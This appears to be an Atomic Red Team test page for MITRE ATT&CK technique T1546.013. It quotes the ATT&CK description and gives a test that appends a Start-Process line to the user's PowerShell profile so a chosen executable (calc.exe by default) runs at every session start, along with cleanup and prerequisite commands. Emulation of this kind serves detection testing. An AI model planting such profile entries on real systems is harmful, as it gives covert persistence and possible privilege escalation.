T1546.013 - PowerShell Profile

Description from ATT&CK

> Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (`profile.ps1`) is a script that runs when [PowerShell] (https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.
> PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
>
> Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

> An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

Atomic Tests

- Atomic Test #1 - Append malicious start-process cmdlet

Atomic Test #1 - Append malicious start-process cmdlet

Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

auto_generated_guid: 090e5aa5-32b6-473b-a49b-21e843a56896

Inputs:

Name	Description	Type	Default Value
exe_path	Path the malicious executable	Path	calc.exe
ps_profile	Powershell profile to use	String	$profile

Attack Commands: Run with `powershell`!

```
Add-Content #{ps_profile} -Value ""
Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
powershell -Command exit
```

Cleanup Commands:

```
$oldprofile = cat $profile | Select-Object -skiplast 1
Set-Content $profile -Value $oldprofile
```

Dependencies: Run with `powershell`!

Description: Ensure a powershell profile exists for the current user

Check Prereq Commands:

```
if (Test-Path #{ps_profile}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Path #{ps_profile} -Type File -Force
```